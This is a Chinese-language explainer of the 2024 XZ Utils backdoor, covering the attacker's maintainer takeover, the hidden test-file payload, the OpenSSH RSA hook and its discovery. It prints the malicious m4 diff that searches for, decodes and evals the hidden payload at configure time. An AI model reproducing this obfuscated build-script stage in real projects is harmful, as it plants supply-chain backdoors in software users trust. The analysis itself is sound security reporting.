XZ Utils backdoor(2024.03.29)
前不久,在 2024年3月29日
,xz-utils
中发现了后门漏洞。这是一套为开发人员提供无损压缩的软件。通常用于压缩 ttarballs, software packages, kernel images, and initramfs 镜像。分布非常广泛,为了方便起见,普通 Linux 或 macOS 系统都会安装它。
因此此漏洞涉及范围为全世界内的所有 linux 和 mac os 系统。
大致总结
- 攻击者
JiaT75 (Jia Tan,github 账号已经被关停)
于 2021 年注册了 GitHub 账号,之后积极参与 xz-utils 的维护,积极贡献。获得了 commit 代码的权利。
- JiaT75 在最近的一次 commit code 时,故意加入了
bad-3-corrupt_lzma2.xz
和 good-large_compressed.lzma
两个看起来并不起眼的测试用二进制数据。但是在编译脚本中,在特定条件下会从这两个文件中读取内容对项目编译结果进行修改,致使编译结果和公开的源代码不同。
- 目前
oss-security
和 github 等分析代码显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt
函数,使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。
- 只要是同时使用了
liblzma
和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
- 受影响的
xz-utils
包已经被并入 Debian os testing
中进行测试,攻击者同时也在尝试并入 fedora
和 ubuntu
。
- 巧合的是,注入的代码存在某种 Bug,导致特定情况下
sshd
的 CPU 占用飙升。被一位 pg committer 注意到了,发现了这个阴谋并报告给 oss-security
,致使此事败漏。 如果不是因为这个 Bug,那么这么后门有很大可能被并入主流发行版的 stable
版本,将会是比肩 心脏滴血漏洞(CVE-2014-0160
的重大安全事件。
JiaT75
抢在 ubuntu beta freeze
的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。但是,总后还是被发现。
相关代码
git commit 注入的代码如下:
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
[$1]_c_make='\"$([$1])\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnl
涉及个人
xz-utils 有两个维护者:
- Lasse Collin ( Larhzu ) 从一开始(~2009 年)就一直维护着 xz,在此之前主要维护
lzma-utils
.
- Jia Tan ( JiaT75 ) 在过去
2~2.5
年里开始为 xz-utils
做出贡献,并获得提交访问权限,然后大约 1.5 年前获得 manager 权限。
目前相关的 github 账号已经被封,相关网站托管在 github 上,也已经暂停。之后可能会回归到 tukaani.org
域名下。
参考来源: